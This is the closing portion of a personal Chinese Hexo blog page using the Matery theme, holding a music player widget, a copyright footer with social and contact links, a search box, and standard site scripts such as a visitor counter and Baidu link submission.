                   type="playlist"
                   id="5128304262"
                   fixed='true'
                   autoplay='false'
                   theme='#42b983'
                   loop='all'
                   order='list'
                   preload='auto'
                   volume='0.7'
                   list-folded='true'
        >
        </meting-js>
    </div>
</div>

<script src="/libs/aplayer/APlayer.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js"></script>

    
    <div class="container row center-align" style="margin-bottom: 0px !important;">
        <div class="col s12 m8 l8 copy-right">
            Copyright&nbsp;&copy;
            <span id="year">2019</span>
            <a href="/about" target="_blank">灿若星河</a>
            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
            |&nbsp;Theme&nbsp;<a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">Matery</a>
            <br>
            
            
            
            
            
            
            <span id="busuanzi_container_site_pv">
                |&nbsp;<i class="far fa-eye"></i>&nbsp;总访问量:&nbsp;<span id="busuanzi_value_site_pv"
                    class="white-color"></span>&nbsp;次
            </span>
            
            
            <span id="busuanzi_container_site_uv">
                |&nbsp;<i class="fas fa-users"></i>&nbsp;总访问人数:&nbsp;<span id="busuanzi_value_site_uv"
                    class="white-color"></span>&nbsp;人
            </span>
            
            <br>
            
            <br>
            
        </div>
        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/1766095699" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fab fa-github"></i>
    </a>



    <a href="mailto:1766095699@qq.com" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50">
        <i class="fas fa-envelope-open"></i>
    </a>







    <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=1766095699" class="tooltipped" target="_blank" data-tooltip="QQ联系我: 1766095699" data-position="top" data-delay="50">
        <i class="fab fa-qq"></i>
    </a>







    <a href="/atom.xml" class="tooltipped" target="_blank" data-tooltip="RSS 订阅" data-position="top" data-delay="50">
        <i class="fas fa-rss"></i>
    </a>

</div>
    </div>
</footer>

<div class="progress-bar"></div>


    <!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
                   class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc("/search.xml", 'searchInput', 'searchResult');
});
</script>

    <!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fas fa-arrow-up"></i>
    </a>
</div>


    <script src="/libs/materialize/materialize.min.js"></script>
    <script src="/libs/masonry/masonry.pkgd.min.js"></script>
    <script src="/libs/aos/aos.js"></script>
    <script src="/libs/scrollprogress/scrollProgress.min.js"></script>
    <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
    <script src="/js/matery.js"></script>

    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    <script src="/libs/others/clicklove.js" async="async"></script>
    
    
    <script async src="/libs/others/busuanzi.pure.mini.js"></script>
    

    

    

    

    

    

    
    <script src="/libs/instantpage/instantpage.js" type="module"></script>
    

</body>

</html>
